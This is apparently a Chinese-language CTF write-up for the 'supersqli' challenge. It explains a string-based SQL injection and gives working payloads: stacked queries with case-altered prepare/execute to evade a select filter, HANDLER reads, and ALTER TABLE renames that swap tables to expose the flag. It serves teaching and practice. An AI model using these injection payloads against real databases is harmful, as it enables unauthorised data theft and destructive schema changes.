supersqli

0x01

拿到题目后,发现是单引号报错字符型注入
supersqli_第1张图片
order by 2的时候页面正常回显,order by 3的时候页面出错,所以我们知道只有两个字段。
接下来union联合查询,发现select被过滤了
supersqli_第2张图片
所以我们需要绕过select的过滤,下面有几种方法

0x02

堆叠查询+预编译

我们发现这里可以执行多sql语句,所以我们可以采用堆叠查询,那我们查询表名,结果如下:supersqli_第3张图片
查询表名中的列名,结果如下:
supersqli_第4张图片
supersqli_第5张图片
所以我们找到flag在第一个表中,那么接下来我们要查看flag中的内容,但是这里select被过滤了,所以我们必须得绕过这个过滤,怎么绕过呢?我们可以采用预编译的方式进行绕过

-1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;#

但是当我们执行预编译语句的时候出现下图结果:
supersqli_第6张图片
所以这里还同时过滤了set和prepare,那我们同时也要绕过它,如何绕过,我们可以采用大小写的形式进行绕过(经尝试,双写无法绕过)

1';sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prepArE aaa from @sql;EXECUTE aaa;#

结果如图:
supersqli_第7张图片
到这里,拿到flag

0x03

handler查询

mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
handler可以用于MyISAM和InnoDB表。
使用方法:
handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行
最后一行执行之后再执行handel table_name read next会返回一个空的结果。

-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

上面payload是两个语句,一个是打开表,一个是读表中的第一行字段中的内容
执行结果如下:
supersqli_第8张图片

0x04

这里看到别人分享的一个解题思路,感觉姿势挺独特,介绍一下

修改表名和列名
我们知道,这里面一共有两个表,所以我们看一下第二个表
supersqli_第9张图片
有如下列,其中有一个列就是data列我们是可以进行查询,爆出内容的,所以我们可以利用数据库修改表名和列名的方法,将我们要查询的表名改成第二个,就可以查询出我们想要的内容了

1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#

介绍一下这几句:
alter table words rename to aaaa;先把原来的words表名字改成别的,这个随便
alter table 1919810931114514 rename to words;将表1919810931114514的名字改为words
alter table words change flag id varchar(100);将改完名字后的表中的flag改为id,字符串尽量长点吧

然后我们用1' or 1=1 --+直接就能得到正确结果
supersqli_第10张图片

0x05

总结:

这几个方法中,感觉最快的就是handler了,这个方法我之前也是没有碰到过,通过这次做题,也是了解到这个查询语句的存在和用法。

你可能感兴趣的:(supersqli)